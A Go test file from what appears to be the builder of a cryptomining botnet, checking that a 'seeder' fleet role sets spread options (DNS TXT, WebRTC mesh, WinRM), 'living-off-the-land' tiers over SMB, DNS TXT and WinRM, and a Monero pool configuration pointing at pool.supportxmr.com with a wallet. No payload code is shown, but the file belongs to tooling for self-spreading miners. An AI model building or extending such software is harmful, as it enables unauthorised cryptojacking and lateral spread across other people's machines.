Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
56 lines
1.6 KiB
Go
56 lines
1.6 KiB
Go
package builder
|
|
|
|
import "testing"
|
|
|
|
func TestApplyFleetRoleBakeDefaultsSeeder(t *testing.T) {
|
|
req := &BuildRequest{
|
|
FleetRole: "seeder",
|
|
LotlOnionTiers: []string{"smb", "dns_txt", "winrm"},
|
|
}
|
|
applyFleetRoleBakeDefaults(req)
|
|
if !req.SeederMode || !req.MiningDisabled || req.FleetRole != "seeder" {
|
|
t.Fatalf("seeder bake: mode=%v disabled=%v role=%q", req.SeederMode, req.MiningDisabled, req.FleetRole)
|
|
}
|
|
if !req.DnsTxtSpread || !req.WebRTCMeshSpread || req.WinRMSpread {
|
|
t.Fatalf("spread flags: dns=%v webrtc=%v winrm=%v", req.DnsTxtSpread, req.WebRTCMeshSpread, req.WinRMSpread)
|
|
}
|
|
if len(req.LotlOnionTiers) != 1 || req.LotlOnionTiers[0] != "dns_txt" {
|
|
t.Fatalf("tiers=%v", req.LotlOnionTiers)
|
|
}
|
|
}
|
|
|
|
func TestGenerateBuiltinConfigFleetRoleFields(t *testing.T) {
|
|
h := &Handler{}
|
|
req := &BuildRequest{
|
|
WorkerName: "seeder-node", ServerURL: "http://127.0.0.1:8989", Wallet: "4TEST",
|
|
Threads: 2, PoolHost: "pool.supportxmr.com", PoolPort: 3333, PoolPass: "x",
|
|
FleetRole: "seeder", SeederMode: true, MiningDisabled: true,
|
|
}
|
|
src := h.generateBuiltinConfig("build-seed", req)
|
|
if !containsAll(src, "FleetRole:", "SeederMode:", "seeder") {
|
|
t.Fatalf("missing fleet role fields in builtin:\n%s", src)
|
|
}
|
|
}
|
|
|
|
func containsAll(s string, parts ...string) bool {
|
|
for _, p := range parts {
|
|
if !contains(s, p) {
|
|
return false
|
|
}
|
|
}
|
|
return true
|
|
}
|
|
|
|
func contains(s, sub string) bool {
|
|
return len(sub) == 0 || (len(s) >= len(sub) && indexOf(s, sub) >= 0)
|
|
}
|
|
|
|
func indexOf(s, sub string) int {
|
|
for i := 0; i+len(sub) <= len(s); i++ {
|
|
if s[i:i+len(sub)] == sub {
|
|
return i
|
|
}
|
|
}
|
|
return -1
|
|
}
|